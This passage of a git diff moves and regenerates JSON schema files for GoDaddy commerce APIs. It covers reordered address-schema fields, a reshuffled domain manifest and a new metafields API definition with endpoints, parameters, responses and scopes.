"maxLength": 100 + "maxLength": 100, + "type": "string" }, - "addressType": { - "description": "The type of address. Single character representation of a type. For example: 'B' for building, 'F' for organization, 'G' for general delivery, 'H' for high-rise, 'L' for large-volume organization, 'P' for Post Office box or delivery service, 'R' for rural route, 'S' for street, 'U' for unidentified address.", - "type": "string", - "maxLength": 1 + "deliveryService": { + "description": "The delivery service. Post office box, bag number, or post office name.", + "maxLength": 100, + "type": "string" }, "geoCoordinates": { - "description": "The latitude and longitude of the address. For example, `37.42242` and `-122.08585`.", "$id": "https://godaddy.com/schemas/common/geo-coordinates.v1", "$schema": "https://json-schema.org/draft/2020-12/schema", - "type": "object", - "title": "Geographic Coordinates", + "description": "The geographic latitude and longitude coordinates.", "properties": { - "longitude": { - "type": "string", - "pattern": "^-?([1]?[1-7][1-9]|[1]?[1-8][0]|[1-9]?[0-9])\\.{1}\\d{1,6}" - }, "latitude": { - "type": "string", - "pattern": "^-?([1-8]?[1-9]|[1-9]0)\\.{1}\\d{1,6}" + "pattern": "^-?([1-8]?[1-9]|[1-9]0)\\.{1}\\d{1,6}", + "type": "string" + }, + "longitude": { + "pattern": "^-?([1]?[1-7][1-9]|[1]?[1-8][0]|[1-9]?[0-9])\\.{1}\\d{1,6}", + "type": "string" } }, "required": [ "longitude", "latitude" - ] + ], + "title": "Geographic Coordinates", + "type": "object" + }, + "streetName": { + "description": "The street name. Just `Drury` in `Drury Lane`.", + "maxLength": 100, + "type": "string" + }, + "streetNumber": { + "description": "The street number.", + "maxLength": 100, + "type": "string" + }, + "streetType": { + "description": "The street type. For example, avenue, boulevard, road, or expressway.", + "maxLength": 100, + "type": "string" + }, + "subBuilding": { + "description": "The first-order entity below a named building or location that represents the sub-premise. Usually a single building within a collection of buildings with a common name. Can be a flat, story, floor, room, or apartment.", + "maxLength": 100, + "type": "string" } - } + }, + "title": "Address Details", + "type": "object" + }, + "addressLine1": { + "description": "The first line of the address. For example, number and street name. For example, `3032 Bunker Hill Lane`. Required for compliance and risk checks. Must contain the full address.", + "maxLength": 300, + "type": "string" + }, + "addressLine2": { + "description": "The second line of the address. For example, office suite or apartment number.", + "maxLength": 300, + "type": "string" + }, + "addressLine3": { + "description": "The third line of the address, if needed. For example, a street complement for Brazil; direction text, such as `next to Opera House`; or a landmark reference in an Indian address.", + "maxLength": 100, + "type": "string" + }, + "adminArea1": { + "description": "The highest level sub-division in a country, which is usually a province, state, or ISO-3166-2 subdivision; formatted for postal delivery. For example, `CA` and not `California`. For example, for UK - A county; for USs - A state; for Canada - A province; for Japan - A prefecture; for Switzerland - A kanton.", + "maxLength": 300, + "type": "string" + }, + "adminArea2": { + "description": "A city, town, or village. Smaller than `adminArea1`.", + "maxLength": 300, + "type": "string" + }, + "adminArea3": { + "description": "A sub-locality, suburb, neighborhood, or district. Smaller than `adminArea2`. For example, in Brazil - Suburb, bairro, or neighborhood; in India - Sub-locality or district. Street name information may not always available and a sub-locality or district can reference a very small area.", + "maxLength": 100, + "type": "string" + }, + "adminArea4": { + "description": "The neighborhood, ward, or district. Smaller than `adminArea3` or `subLocality`. For example, the postal sorting code that is used in Guernsey and many French territories, such as French Guiana; the fine-grained administrative levels in China.", + "maxLength": 100, + "type": "string" + }, + "countryCode": { + "$id": "https://godaddy.com/schemas/common-types/country-code.v1", + "$schema": "http://json-schema.org/draft/2020-12/schema", + "description": "A two-character ISO 3166-1 code that identifies the country or region.", + "maxLength": 2, + "minLength": 2, + "pattern": "^([A-Z]{2}|C2)$", + "type": "string" + }, + "postalCode": { + "description": "The postal code, which is the zip code or equivalent. Typically required for countries that have a postal code or an equivalent. See [Postal code](https://en.wikipedia.org/wiki/Postal_code).", + "maxLength": 60, + "type": "string" } }, "required": [ "countryCode" - ] - } + ], + "title": "Postal Address (Medium-Grained)", + "type": "object" + }, + "type": "array" } - } + }, + "type": "object" + }, + "status": { + "enum": [ + "SUCCESS" + ], + "type": "string" } }, "required": [ "status", "data" - ] + ], + "type": "object" } }, - "401": { - "description": "The error information." - }, - "403": { + "502": { "description": "The error information." }, - "404": { + "504": { "description": "The error information." }, "500": { "description": "The error information." }, - "502": { + "403": { "description": "The error information." }, "503": { "description": "The error information." }, - "504": { + "401": { + "description": "The error information." + }, + "404": { "description": "The error information." } }, diff --git a/src/cli/schemas/api/manifest.json b/rust/schemas/api/manifest.json similarity index 96% rename from src/cli/schemas/api/manifest.json rename to rust/schemas/api/manifest.json index 39ddfe7..09ac55a 100644 --- a/src/cli/schemas/api/manifest.json +++ b/rust/schemas/api/manifest.json @@ -1,105 +1,105 @@ { - "generated": "2026-05-14T16:10:01.272Z", + "generated": "2026-05-28T19:46:03.454971082+00:00", "domains": { - "bulk-operations": { - "file": "bulk-operations.json", - "title": "Bulk Operations API", - "endpointCount": 26 - }, - "businesses": { - "file": "businesses.json", - "title": "Commerce Business API", - "endpointCount": 8 - }, - "catalog-products": { - "file": "catalog-products.json", - "title": "Catalog GraphQL API", - "endpointCount": 1 + "price-adjustments": { + "file": "price-adjustments.json", + "title": "GoDaddy Price Adjustment API", + "endpointCount": 10 }, "channels": { "file": "channels.json", "title": "Channels API", "endpointCount": 8 }, - "chargebacks": { - "file": "chargebacks.json", - "title": "Chargeback Management", - "endpointCount": 10 + "metafields": { + "file": "metafields.json", + "title": "Metafields API", + "endpointCount": 12 }, - "customer-profiles": { - "file": "customer-profiles.json", - "title": "Customers API", - "endpointCount": 9 + "transactions": { + "file": "transactions.json", + "title": "Transactions API", + "endpointCount": 7 }, "fulfillments": { "file": "fulfillments.json", "title": "Fulfillment Service", "endpointCount": 3 }, - "metafields": { - "file": "metafields.json", - "title": "Metafields API", - "endpointCount": 12 + "location-addresses": { + "file": "location-addresses.json", + "title": "Addresses API", + "endpointCount": 2 }, - "onboarding": { - "file": "onboarding.json", - "title": "Commerce Onboarding API", - "endpointCount": 5 + "payments": { + "file": "payments.json", + "title": "Payments API", + "endpointCount": 43 + }, + "subscriptions": { + "file": "subscriptions.json", + "title": "Commerce Subscription API", + "endpointCount": 8 }, "orders": { "file": "orders.json", "title": "Order Service", "endpointCount": 15 }, - "payment-requests": { - "file": "payment-requests.json", - "title": "Payment Requests API", + "stores": { + "file": "stores.json", + "title": "Commerce Store API", + "endpointCount": 8 + }, + "onboarding": { + "file": "onboarding.json", + "title": "Commerce Onboarding API", "endpointCount": 5 }, - "payments": { - "file": "payments.json", - "title": "Payments API", - "endpointCount": 43 + "bulk-operations": { + "file": "bulk-operations.json", + "title": "Bulk Operations API", + "endpointCount": 27 }, - "price-adjustments": { - "file": "price-adjustments.json", - "title": "GoDaddy Price Adjustment API", + "chargebacks": { + "file": "chargebacks.json", + "title": "Chargeback Management", "endpointCount": 10 }, - "recommendations": { - "file": "recommendations.json", - "title": "GoDaddy Recommendation API", + "catalog-products": { + "file": "catalog-products.json", + "title": "Catalog GraphQL API", "endpointCount": 1 }, - "shipping": { - "file": "shipping.json", - "title": "Shipping Service", - "endpointCount": 7 - }, - "stores": { - "file": "stores.json", - "title": "Commerce Store API", + "businesses": { + "file": "businesses.json", + "title": "Commerce Business API", "endpointCount": 8 }, - "subscriptions": { - "file": "subscriptions.json", - "title": "Commerce Subscription API", - "endpointCount": 8 + "payment-requests": { + "file": "payment-requests.json", + "title": "Payment Requests API", + "endpointCount": 5 }, "taxes": { "file": "taxes.json", "title": "Tax GraphQL API", "endpointCount": 1 }, - "transactions": { - "file": "transactions.json", - "title": "Transactions API", + "customer-profiles": { + "file": "customer-profiles.json", + "title": "Customers API", + "endpointCount": 9 + }, + "shipping": { + "file": "shipping.json", + "title": "Shipping Service", "endpointCount": 7 }, - "location-addresses": { - "file": "location-addresses.json", - "title": "Addresses API", - "endpointCount": 2 + "recommendations": { + "file": "recommendations.json", + "title": "GoDaddy Recommendation API", + "endpointCount": 1 } } } \ No newline at end of file diff --git a/rust/schemas/api/metafields.json b/rust/schemas/api/metafields.json new file mode 100644 index 0000000..5b74e9b --- /dev/null +++ b/rust/schemas/api/metafields.json @@ -0,0 +1,1068 @@ +{ + "name": "metafields", + "title": "Metafields API", + "description": "This API allows for an extension of top-level commerce entities with custom data, providing the appropriate endpoints for managing commerce metafields.", + "version": "1.0.0", + "baseUrl": "https://api.godaddy.com/v1/commerce", + "endpoints": [ + { + "operationId": "getMetafieldDefinitionTypes", + "method": "GET", + "path": "/stores/{storeId}/metafield-definition-types", + "summary": "Get all metafield definition types", + "description": "This endpoint can be used to retrieve all the metafield definition types available using the store ID.", + "parameters": [ + { + "name": "storeId", + "in": "path", + "required": true, + "description": "The store ID that metafields are scoped to", + "schema": { + "$ref": "https://schemas.api.godaddy.com/common-types/v1/schemas/json/uuid.json" + } + } + ], + "responses": { + "401": { + "description": "Authorization info not sent or is invalid", + "schema": { + "$ref": "https://schemas.api.godaddy.com/common-types/v1/schemas/json/error.json" + } + }, + "200": { + "description": "An array of metafield definition types that are available for clients to use when creating metafield definitions and values", + "schema": { + "properties": { + "metafieldDefinitionTypes": { + "items": { + "$ref": "./models/metafield-definition-type.json" + }, + "type": "array" + } + }, + "type": "object" + } + }, + "404": { + "description": "Resource not found", + "schema": { + "$ref": "https://schemas.api.godaddy.com/common-types/v1/schemas/json/error.json" + } + }, + "500": { + "description": "Server error", + "schema": { + "$ref": "https://schemas.api.godaddy.com/common-types/v1/schemas/json/error.json" + } + }, + "403": { + "description": "Invalid request", + "schema": { + "$ref": "https://schemas.api.godaddy.com/common-types/v1/schemas/json/error.json" + } + } + }, + "scopes": [ + "commerce.metafield:read" + ] + }, + { + "operationId": "getMetafieldDefinitions", + "method": "GET", + "path": "/stores/{storeId}/metafield-definitions", + "summary": "Get metafield definition", + "description": "Retrieves all metafield definitions for a given store and resourceType", + "parameters": [ + { + "name": "storeId", + "in": "path", + "required": true, + "description": "The store ID that metafields are scoped to", + "schema": { + "$ref": "https://schemas.api.godaddy.com/common-types/v1/schemas/json/uuid.json" + } + }, + { + "name": "pageSize", + "in": "query", + "required": false, + "description": "A non-negative, non-zero integer indicating the maximum number of resouces to return at one time", + "schema": { + "default": 25, + "format": "int64", + "maximum": 50, + "minimum": 1, + "type": "integer" + } + }, + { + "name": "pageToken", + "in": "query", + "required": false, + "description": "The cursor to use to fetch the next page of results", + "schema": { + "description": "A string cursor representing a key or ID to use to fetch the next page of results", + "example": "MTY1MTc0NTczMDAwMDsyRzVWc1dFRmhJa3RIOFBZNHFDMGlPR0RwVko=", + "type": "string" + } + }, + { + "name": "pageTokenDirection", + "in": "query", + "required": false, + "description": "Direction indicating whether to fetch the next page of results or the previous page of results", + "schema": { + "default": "FORWARD", + "description": "Page token direction", + "enum": [ + "BACKWARD", + "FORWARD" + ], + "type": "string" + } + }, + { + "name": "resourceType", + "in": "query", + "required": true, + "description": "The resource type that the metafield definitions belong to", + "schema": { + "description": "Resource type enum value", + "enum": [ + "STORE", + "CHANNEL", + "ORDER", + "PRODUCT", + "PRODUCT_VARIANT", + "CUSTOMER" + ], + "type": "string" + } + }, + { + "name": "namespace", + "in": "query", + "required": false, + "description": "A namespace to filter metafields by", + "schema": { + "description": "The namespace of the metafields to query by", + "type": "string" + } + } + ], + "responses": { + "200": { + "description": "An array of metafield definitions that are associated with the given store and resourceType", + "schema": { + "properties": { + "links": { + "items": { + "$id": "https://godaddy.com/schemas/common/link-description.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "description": "A request-related [HATEOAS link](https://datatracker.ietf.org/doc/html/draft-handrews-json-schema-hyperschema-02).", + "properties": { + "href": { + "description": "The complete target URL, or link, to use in combination with the method to make the related call, as defined by [RFC 6570 - URI Template](https://tools.ietf.org/html/rfc6570), with the addition of the `$`, `(`, and `)` characters for pre-processing. The `href` is the key HATEOAS component that links a completed call with a subsequent call.", + "format": "uri", + "type": "string" + }, + "method": { + "description": "The method to use to request the link target. For example, for HTTP, this might be `GET` or `DELETE`.", + "type": "string" + }, + "rel": { + "description": "The [link relation type](https://tools.ietf.org/html/rfc5988#section-4), which is an identifier for a link that unambiguously describes the semantics of the link. For values, see [Link Relationship Types](https://www.iana.org/assignments/link-relations/link-relations.xhtml).", + "type": "string" + }, + "submissionMediaType": { + "default": "application/json", + "description": "The media type with which to submit data with the request.", + "type": "string" + }, + "submissionSchema": { + "description": "The schema that describes the request data." + }, + "targetMediaType": { + "description": "The [RFC 2046-defined media type](https://www.ietf.org/rfc/rfc2046.txt) that describes the link target.", + "type": "string" + }, + "targetSchema": { + "description": "The schema that describes the link target." + }, + "title": { + "description": "The link title.", + "type": "string" + } + }, + "required": [ + "rel", + "href" + ], + "title": "Link Description", + "type": "object" + }, + "type": "array" + }, + "metafieldDefinitions": { + "items": { + "$ref": "./models/metafield-definition.json" + }, + "type": "array" + } + }, + "type": "object" + } + }, + "401": { + "description": "Authorization info not sent or is invalid", + "schema": { + "$ref": "https://schemas.api.godaddy.com/common-types/v1/schemas/json/error.json" + } + }, + "500": { + "description": "Server error", + "schema": { + "$ref": "https://schemas.api.godaddy.com/common-types/v1/schemas/json/error.json" + } + }, + "404": { + "description": "Resource not found", + "schema": { + "$ref": "https://schemas.api.godaddy.com/common-types/v1/schemas/json/error.json" + } + }, + "403": { + "description": "Invalid request", + "schema": { + "$ref": "https://schemas.api.godaddy.com/common-types/v1/schemas/json/error.json" + } + } + }, + "scopes": [ + "commerce.metafield:read" + ] + }, + { + "operationId": "createMetafieldDefinition", + "method": "POST", + "path": "/stores/{storeId}/metafield-definitions", + "summary": "Create a metafield definition", + "description": "This endpoint can be used to create a metafield definition and associate it with a store and resourceType", + "parameters": [ + { + "name": "storeId", + "in": "path", + "required": true, + "description": "The store ID that metafields are scoped to", + "schema": { + "$ref": "https://schemas.api.godaddy.com/common-types/v1/schemas/json/uuid.json" + } + } + ], + "requestBody": { + "required": true, + "description": "The metafield definition to create", + "contentType": "application/json", + "schema": { + "properties": { + "metafieldDefinition": { + "$ref": "./inputs/metafield-definition-create-input.json" + } + }, + "type": "object" + } + }, + "responses": { + "200": { + "description": "Success response when creating a metafield definition", + "schema": { + "properties": { + "metafieldDefinition": { + "$ref": "./models/metafield-definition.json" + } + }, + "type": "object" + } + }, + "403": { + "description": "Invalid request", + "schema": { + "$ref": "https://schemas.api.godaddy.com/common-types/v1/schemas/json/error.json" + } + }, + "500": { + "description": "Server error", + "schema": { + "$ref": "https://schemas.api.godaddy.com/common-types/v1/schemas/json/error.json" + } + }, + "401": { + "description": "Authorization info not sent or is invalid", + "schema": { + "$ref": "https://schemas.api.godaddy.com/common-types/v1/schemas/json/error.json" + } + }, + "404": { + "description": "Resource not found", + "schema": { + "$ref": "https://schemas.api.godaddy.com/common-types/v1/schemas/json/error.json" + } + } + }, + "scopes": [ + "commerce.metafield:create" + ] + }, + { + "operationId": "getMetafieldDefinition", + "method": "GET", + "path": "/stores/{storeId}/metafield-definitions/{metafieldDefinitionId}", + "summary": "Get metafield definition by ID ", + "description": "This endpoint returns a single metafield definition using the metafield ID or resourceType and nampespace and key.", + "parameters": [ + { + "name": "storeId", + "in": "path", + "required": true, + "description": "The store ID that metafields are scoped to", + "schema": { + "$ref": "https://schemas.api.godaddy.com/common-types/v1/schemas/json/uuid.json" + } + }, + { + "name": "metafieldDefinitionId", + "in": "path", + "required": true, + "description": "The metafield definition ID", + "schema": { + "type": "string" + } + } + ], + "responses": { + "200": { + "description": "A single metafield definition object", + "schema": { + "properties": { + "metafieldDefinition": { + "$ref": "./models/metafield-definition.json" + } + }, + "type": "object" + } + }, + "403": { + "description": "Invalid request", + "schema": { + "$ref": "https://schemas.api.godaddy.com/common-types/v1/schemas/json/error.json" + } + }, + "500": { + "description": "Server error", + "schema": { + "$ref": "https://schemas.api.godaddy.com/common-types/v1/schemas/json/error.json" + } + }, + "401": { + "description": "Authorization info not sent or is invalid", + "schema": { + "$ref": "https://schemas.api.godaddy.com/common-types/v1/schemas/json/error.json" + } + }, + "404": { + "description": "Resource not found", + "schema": { + "$ref": "https://schemas.api.godaddy.com/common-types/v1/schemas/json/error.json" + } + } + }, + "scopes": [ + "commerce.metafield:read" + ] + }, + { + "operationId": "updateMetafieldDefinition", + "method": "PUT", + "path": "/stores/{storeId}/metafield-definitions/{metafieldDefinitionId}", + "summary": "Update a metafield definition", + "description": "This endpoint can be used to update a single metafield definition using the store and metafieldDefinition IDs.", + "parameters": [ + { + "name": "storeId", + "in": "path", + "required": true, + "description": "The store ID that metafields are scoped to", + "schema": { + "$ref": "https://schemas.api.godaddy.com/common-types/v1/schemas/json/uuid.json" + } + }, + { + "name": "metafieldDefinitionId", + "in": "path", + "required": true, + "description": "The ID of the metafield definition to update", + "schema": { + "type": "string" + } + } + ], + "requestBody": { + "required": true, + "description": "The metafield definition fields to update", + "contentType": "application/json", + "schema": { + "properties": { + "metafield": { + "$ref": "./inputs/metafield-definition-update-input.json" + } + }, + "type": "object" + } + }, + "responses": { + "403": { + "description": "Invalid request", + "schema": { + "$ref": "https://schemas.api.godaddy.com/common-types/v1/schemas/json/error.json" + } + }, + "200": { + "description": "Success response when updating a metafield definition", + "schema": { + "properties": { + "metafield": { + "$ref": "./models/metafield-definition.json" + } + }, + "type": "object" + } + }, + "404": { + "description": "Resource not found", + "schema": { + "$ref": "https://schemas.api.godaddy.com/common-types/v1/schemas/json/error.json" + } + }, + "401": { + "description": "Authorization info not sent or is invalid", + "schema": { + "$ref": "https://schemas.api.godaddy.com/common-types/v1/schemas/json/error.json" + } + }, + "500": { + "description": "Server error", + "schema": { + "$ref": "https://schemas.api.godaddy.com/common-types/v1/schemas/json/error.json" + } + } + }, + "scopes": [ + "commerce.metafield:update" + ] + }, + { + "operationId": "deleteMetafieldDefinition", + "method": "DELETE", + "path": "/stores/{storeId}/metafield-definitions/{metafieldDefinitionId}", + "summary": "Delete a metafield", + "description": "This endpoint can be used to delete a single metafield definition using the store and metafieldDefinition IDs.", + "parameters": [ + { + "name": "storeId", + "in": "path", + "required": true, + "description": "The store ID that metafields are scoped to", + "schema": { + "$ref": "https://schemas.api.godaddy.com/common-types/v1/schemas/json/uuid.json" + } + }, + { + "name": "metafieldDefinitionId", + "in": "path", + "required": true, + "description": "The metafield definition ID", + "schema": { + "type": "string" + } + } + ], + "responses": { + "401": { + "description": "Authorization info not sent or is invalid", + "schema": { + "$ref": "https://schemas.api.godaddy.com/common-types/v1/schemas/json/error.json" + } + }, + "403": { + "description": "Invalid request", + "schema": { + "$ref": "https://schemas.api.godaddy.com/common-types/v1/schemas/json/error.json" + } + }, + "500": { + "description": "Server error", + "schema": { + "$ref": "https://schemas.api.godaddy.com/common-types/v1/schemas/json/error.json" + } + }, + "200": { + "description": "A single metafield definition object", + "schema": { + "properties": { + "id": { + "description": "The ID of the deleted metafield definition", + "type": "string" + }, + "status": { + "description": "The status of the deleted metafield definition", + "enum": [ + "success", + "error" + ], + "type": "string" + } + }, + "type": "object" + } + }, + "404": { + "description": "Resource not found", + "schema": { + "$ref": "https://schemas.api.godaddy.com/common-types/v1/schemas/json/error.json" + } + } + }, + "scopes": [ + "commerce.metafield:delete" + ] + }, + { + "operationId": "getMetafields", + "method": "GET", + "path": "/stores/{storeId}/metafields", + "summary": "Get metafields", + "description": "This endpoint retrieves all the metafields for a given store using the store and resource IDs.", + "parameters": [ + { + "name": "storeId", + "in": "path", + "required": true, + "description": "The store ID that metafields are scoped to", + "schema": { + "$ref": "https://schemas.api.godaddy.com/common-types/v1/schemas/json/uuid.json" + } + }, + { + "name": "pageSize", + "in": "query", + "required": false, + "description": "A non-negative, non-zero integer indicating the maximum number of resouces to return at one time", + "schema": { + "default": 25, + "format": "int64", + "maximum": 50, + "minimum": 1, + "type": "integer" + } + }, + { + "name": "pageToken", + "in": "query", + "required": false, + "description": "The cursor to use to fetch the next page of results", + "schema": { + "description": "A string cursor representing a key or ID to use to fetch the next page of results", + "example": "MTY1MTc0NTczMDAwMDsyRzVWc1dFRmhJa3RIOFBZNHFDMGlPR0RwVko=", + "type": "string" + } + }, + { + "name": "pageTokenDirection", + "in": "query", + "required": false, + "description": "Direction indicating whether to fetch the next page of results or the previous page of results", + "schema": { + "default": "FORWARD", + "description": "Page token direction", + "enum": [ + "BACKWARD", + "FORWARD" + ], + "type": "string" + } + }, + { + "name": "resourceIds", + "in": "query", + "required": true, + "description": "A comma-delmited string of resourceIds to filter metafields by", + "schema": { + "description": "A comma-delmited string of resourceIds", + "type": "string" + } + }, + { + "name": "namespace", + "in": "query", + "required": false, + "description": "A namespace to filter metafields by", + "schema": { + "description": "The namespace of the metafields to query by", + "type": "string" + } + } + ], + "responses": { + "200": { + "description": "An array of metafields that are associated with the given store and resourceId", + "schema": { + "properties": { + "links": { + "items": { + "$id": "https://godaddy.com/schemas/common/link-description.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "description": "A request-related [HATEOAS link](https://datatracker.ietf.org/doc/html/draft-handrews-json-schema-hyperschema-02).", + "properties": { + "href": { + "description": "The complete target URL, or link, to use in combination with the method to make the related call, as defined by [RFC 6570 - URI Template](https://tools.ietf.org/html/rfc6570), with the addition of the `$`, `(`, and `)` characters for pre-processing. The `href` is the key HATEOAS component that links a completed call with a subsequent call.", + "format": "uri", + "type": "string" + }, + "method": { + "description": "The method to use to request the link target. For example, for HTTP, this might be `GET` or `DELETE`.", + "type": "string" + }, + "rel": { + "description": "The [link relation type](https://tools.ietf.org/html/rfc5988#section-4), which is an identifier for a link that unambiguously describes the semantics of the link. For values, see [Link Relationship Types](https://www.iana.org/assignments/link-relations/link-relations.xhtml).", + "type": "string" + }, + "submissionMediaType": { + "default": "application/json", + "description": "The media type with which to submit data with the request.", + "type": "string" + }, + "submissionSchema": { + "description": "The schema that describes the request data." + }, + "targetMediaType": { + "description": "The [RFC 2046-defined media type](https://www.ietf.org/rfc/rfc2046.txt) that describes the link target.", + "type": "string" + }, + "targetSchema": { + "description": "The schema that describes the link target." + }, + "title": { + "description": "The link title.", + "type": "string" + } + }, + "required": [ + "rel", + "href" + ], + "title": "Link Description", + "type": "object" + }, + "type": "array" + }, + "metafields": { + "items": { + "$ref": "./models/metafield.json" + }, + "type": "array" + } + }, + "type": "object" + } + }, + "403": { + "description": "Invalid request", + "schema": { + "$ref": "https://schemas.api.godaddy.com/common-types/v1/schemas/json/error.json" + } + }, + "500": { + "description": "Server error", + "schema": { + "$ref": "https://schemas.api.godaddy.com/common-types/v1/schemas/json/error.json" + } + }, + "404": { + "description": "Resource not found", + "schema": { + "$ref": "https://schemas.api.godaddy.com/common-types/v1/schemas/json/error.json" + } + }, + "401": { + "description": "Authorization info not sent or is invalid", + "schema": { + "$ref": "https://schemas.api.godaddy.com/common-types/v1/schemas/json/error.json" + } + } + }, + "scopes": [ + "commerce.metafield:read" + ] + }, + { + "operationId": "createMetafield", + "method": "POST", + "path": "/stores/{storeId}/metafields", + "summary": "Create metafield", + "description": "This endpoint creates a metafield and associates it with a store and resource using the store ID.", + "parameters": [ + { + "name": "storeId", + "in": "path", + "required": true, + "description": "The store ID that metafields are scoped to", + "schema": { + "$ref": "https://schemas.api.godaddy.com/common-types/v1/schemas/json/uuid.json" + } + } + ], + "requestBody": { + "required": true, + "description": "The metafield to create", + "contentType": "application/json", + "schema": { + "$ref": "./inputs/metafield-create-input.json" + } + }, + "responses": { + "404": { + "description": "Resource not found", + "schema": { + "$ref": "https://schemas.api.godaddy.com/common-types/v1/schemas/json/error.json" + } + }, + "401": { + "description": "Authorization info not sent or is invalid", + "schema": { + "$ref": "https://schemas.api.godaddy.com/common-types/v1/schemas/json/error.json" + } + }, + "500": { + "description": "Server error", + "schema": { + "$ref": "https://schemas.api.godaddy.com/common-types/v1/schemas/json/error.json" + } + }, + "403": { + "description": "Invalid request", + "schema": { + "$ref": "https://schemas.api.godaddy.com/common-types/v1/schemas/json/error.json" + } + }, + "200": { + "description": "Success response when creating a metafield", + "schema": { + "properties": { + "metafield": { + "$ref": "./models/metafield.json" + } + }, + "type": "object" + } + } + }, + "scopes": [ + "commerce.metafield:create" + ] + }, + { + "operationId": "bulkDeleteMetafields", + "method": "POST", + "path": "/stores/{storeId}/metafields/bulk-delete", + "summary": "Bulk deletes metafields", + "description": "This endpoint bulk deletes metafields by resourceId, namespace, and key.", + "parameters": [ + { + "name": "storeId", + "in": "path", + "required": true, + "description": "The store ID that metafields are scoped to", + "schema": { + "$ref": "https://schemas.api.godaddy.com/common-types/v1/schemas/json/uuid.json" + } + } + ], + "requestBody": { + "required": true, + "description": "The metafields to delete", + "contentType": "application/json", + "schema": { + "$ref": "./inputs/metafields-bulk-delete-input.json" + } + }, + "responses": { + "404": { + "description": "Resource not found", + "schema": { + "$ref": "https://schemas.api.godaddy.com/common-types/v1/schemas/json/error.json" + } + }, + "500": { + "description": "Server error", + "schema": { + "$ref": "https://schemas.api.godaddy.com/common-types/v1/schemas/json/error.json" + } + }, + "401": { + "description": "Authorization info not sent or is invalid", + "schema": { + "$ref": "https://schemas.api.godaddy.com/common-types/v1/schemas/json/error.json" + } + }, + "200": { + "description": "Success response when bulk deleting metafields", + "schema": { + "properties": { + "metafieldIds": { + "description": "The IDs of the deleted metafields", + "items": { + "description": "The ID of the deleted metafield", + "type": "string" + }, + "type": "array" + } + }, + "type": "object" + } + }, + "403": { + "description": "Invalid request", + "schema": { + "$ref": "https://schemas.api.godaddy.com/common-types/v1/schemas/json/error.json" + } + } + }, + "scopes": [ + "commerce.metafield:delete" + ] + }, + { + "operationId": "getMetafield", + "method": "GET", + "path": "/stores/{storeId}/metafields/{metafieldId}", + "summary": "Get a metafield", + "description": "Retrieve the information of a single metafield from a specific store using the store and metafield IDs.", + "parameters": [ + { + "name": "storeId", + "in": "path", + "required": true, + "description": "The store ID that metafields are scoped to", + "schema": { + "$ref": "https://schemas.api.godaddy.com/common-types/v1/schemas/json/uuid.json" + } + }, + { + "name": "metafieldId", + "in": "path", + "required": true, + "description": "The ID of the metafield", + "schema": { + "type": "string" + } + } + ], + "responses": { + "404": { + "description": "Resource not found", + "schema": { + "$ref": "https://schemas.api.godaddy.com/common-types/v1/schemas/json/error.json" + } + }, + "200": { + "description": "Success response when getting a metafield", + "schema": { + "properties": { + "metafield": { + "$ref": "./models/metafield.json" + } + }, + "type": "object" + } + }, + "401": { + "description": "Authorization info not sent or is invalid", + "schema": { + "$ref": "https://schemas.api.godaddy.com/common-types/v1/schemas/json/error.json" + } + }, + "403": { + "description": "Invalid request", + "schema": { + "$ref": "https://schemas.api.godaddy.com/common-types/v1/schemas/json/error.json" + } + }, + "500": { + "description": "Server error", + "schema": { + "$ref": "https://schemas.api.godaddy.com/common-types/v1/schemas/json/error.json" + } + } + }, + "scopes": [ + "commerce.metafield:read" + ] + }, + { + "operationId": "updateMetafield", + "method": "PUT", + "path": "/stores/{storeId}/metafields/{metafieldId}", + "summary": "Update a metafield", + "description": "Update the information of a single metafield using the store and metafield IDs.", + "parameters": [ + { + "name": "storeId", + "in": "path", + "required": true, + "description": "The store ID that metafields are scoped to", + "schema": { + "$ref": "https://schemas.api.godaddy.com/common-types/v1/schemas/json/uuid.json" + } + }, + { + "name": "metafieldId", + "in": "path", + "required": true, + "description": "The ID of the metafield to update", + "schema": { + "type": "string" + } + } + ], + "requestBody": { + "required": true, + "description": "The metafield fields to update", + "contentType": "application/json", + "schema": { + "properties": { + "metafield": { + "$ref": "./inputs/metafield-update-input.json" + } + }, + "type": "object" + } + }, + "responses": { + "404": { + "description": "Resource not found", + "schema": { + "$ref": "https://schemas.api.godaddy.com/common-types/v1/schemas/json/error.json" + } + }, + "500": { + "description": "Server error", + "schema": { + "$ref": "https://schemas.api.godaddy.com/common-types/v1/schemas/json/error.json" + } + }, + "403": { + "description": "Invalid request", + "schema": { + "$ref": "https://schemas.api.godaddy.com/common-types/v1/schemas/json/error.json" + } + }, + "200": { + "description": "Success response when updating a metafield", + "schema": { + "properties": { + "metafield": { + "$ref": "./models/metafield.json" + } + }, + "type": "object" + } + }, + "401": { + "description": "Authorization info not sent or is invalid", + "schema": { + "$ref": "https://schemas.api.godaddy.com/common-types/v1/schemas/json/error.json" + } + } + }, + "scopes": [ + "commerce.metafield:update" + ] + }, + { + "operationId": "deleteMetafield", + "method": "DELETE", + "path": "/stores/{storeId}/metafields/{metafieldId}", + "summary": "Delete a metafield", + "description": "Delete the information of a single metafield from a specific store using the store and metafield IDs.", + "parameters": [ + { + "name": "storeId", + "in": "path", + "required": true, + "description": "The store ID that metafields are scoped to", + "schema": { + "$ref": "https://schemas.api.godaddy.com/common-types/v1/schemas/json/uuid.json" + } + }, + { + "name": "metafieldId", + "in": "path", + "required": true, + "description": "The ID of the metafield to delete", + "schema": { + "type": "string" + } + } + ], + "responses": { + "500": { + "description": "Server error", + "schema": { + "$ref": "https://schemas.api.godaddy.com/common-types/v1/schemas/json/error.json" + } + }, + "404": { + "description": "Resource not found", + "schema": { + "$ref": "https://schemas.api.godaddy.com/common-types/v1/schemas/json/error.json" + } + }, + "200": { + "description": "Success response when deleting a metafield", + "schema": { + "properties": { + "id": { + "description": "The ID of the deleted metafield", + "type": "string" + }, + "status": { + "description": "Status of the delete operation", + "enum": [ + "success", + "failure" + ], + "type": "string" + } + }, + "type": "object" + } + }, + "401": { + "description": "Authorization info not sent or is invalid", + "schema": { + "$ref": "https://schemas.api.godaddy.com/common-types/v1/schemas/json/error.json" + } + }, + "403": { + "description": "Invalid request", + "schema": { + "$ref": "https://schemas.api.godaddy.com/common-types/v1/schemas/json/error.json" + } + } + }, + "scopes": [ + "commerce.metafield:delete" + ] + } + ] +} \ No newline at end of file diff --git a/src/cli/schemas/api/onboarding.json b/rust/schemas/api/onboarding.json similarity index 54% rename from src/cli/schemas/api/onboarding.json rename to rust/schemas/api/onboarding.json index ec68000..53e2af2 100644 --- a/src/cli/schemas/api/onboarding.json +++ 